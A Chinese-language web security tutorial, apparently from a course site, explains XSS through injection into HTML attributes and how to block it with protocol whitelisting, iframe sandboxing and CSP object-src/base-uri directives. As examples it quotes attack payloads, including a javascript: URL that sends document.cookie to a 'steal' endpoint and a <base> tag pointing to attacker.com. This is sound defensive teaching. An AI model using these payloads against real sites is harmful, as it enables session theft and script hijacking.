属性注入最危险，指用户输入被拼入html标签属性（如onerror/onload）触发xss；需白名单校验url协议、隔离第三方插件作用域、配置object-src/base-uri等csp指令。
属性值被拼进 HTML 标签时，onerror/onload 等事件处理器最危险
用户输入一旦被直接插进 input、img、iframe 等标签的属性值位置（比如 value、src、href），就极可能触发属性注入。浏览器会把 onerror="alert(1)" 这类内容当作合法事件监听器执行，哪怕 <script></script> 被过滤了。
常见错误场景包括：
- 搜索页把 URL 参数
q直接塞进<input value="$q"> - 头像组件用用户传入的 URL 渲染
<img src="%24avatar">，但没校验协议 - 跳转链接拼接
<a href="%24url"></a>，而$url是前端从location.search解析出的未过滤值
这类注入不依赖 innerHTML，也不需要服务端渲染，DOM 型 XSS 就能绕过 CSP 的 script-src 限制。
javascript: 和 data: 协议在 href/src 中必须显式拦截
攻击者常利用协议伪造成“合法链接”，实则执行任意 JS：javascript:fetch('/api/steal?c='+document.cookie) 或 data:text/html,<script>alert(1)</script>。这些在 href、src、formaction 等属性中一旦被原样插入，点击或加载即触发。
安全做法不是靠黑名单过滤关键词，而是白名单校验协议：
- 对所有动态赋值的 URL 类属性，先用
new URL(url)解析，再检查url.protocol是否为"http:"、"https:"或"/" - 拒绝
"javascript:"、"data:"、"vbscript:"等可执行协议 - 服务端做同样校验，不能只信前端判断——因为 DOM 型漏洞可由 URL 直接触发
第三方插件调用失控，往往源于未隔离的全局作用域
很多“一键接入”的第三方 SDK（如客服浮窗、统计脚本、支付弹层）会通过 document.createElement('script') 动态加载，或监听全局事件（如 window.addEventListener('message', handler)）。如果插件初始化代码被注入到页面任意位置（比如评论区富文本、用户自定义 banner），它就可能提前执行、重复加载，甚至劫持 fetch 或 XMLHttpRequest。
关键控制点有三个：
- 禁止在用户可控内容区域（如
v-html、dangerouslySetInnerHTML、innerHTML）里允许script、iframe、object标签 —— 即使用了 DOMPurify，也要关掉ALLOWED_TAGS里的高危项 - 用
iframe加载第三方组件时，务必设sandbox="allow-scripts"并配src为独立域名，避免同源污染 - 若必须复用宿主页面 JS 上下文（如插件需读取用户登录态），改用
postMessage显式通信，而非直接调用window.thirdPartySDK.init()
CSP 的 object-src 和 base-uri 指令常被忽略，但它们堵的是关键绕过路径
很多团队只配了 script-src 'self'，却忘了 object-src 'none' 和 base-uri 'self'。前者禁用 Flash、Java 插件等旧式可执行载体，后者防止攻击者用 <base href="https://attacker.com"> 劫持所有相对路径资源（包括后续加载的第三方插件 JS）。
真实案例中，攻击者正是靠一个被注入的 <base> 标签，让页面后续所有 script src="/js/analytics.js" 都被重定向到恶意域名，从而静默替换掉正版统计 SDK。
部署建议：
- 响应头中必须包含
Content-Security-Policy: object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none' - 不要依赖
default-src覆盖全部指令——它不包含base-uri和form-action，必须显式声明 - 用
report-uri或report-to收集违规日志，尤其关注base-uri和object-src的 violation-report
属性注入不像完整脚本那样显眼，但它更隐蔽、更难检测，也更容易绕过表面的 XSS 过滤逻辑。真正要防住，得从输出上下文编码、协议校验、作用域隔离、CSP 细粒度指令四条线同时收口。
前端入门到VUE实战笔记：立即使用
在学习笔记中，你将探索 前端 的入门与实战技巧！
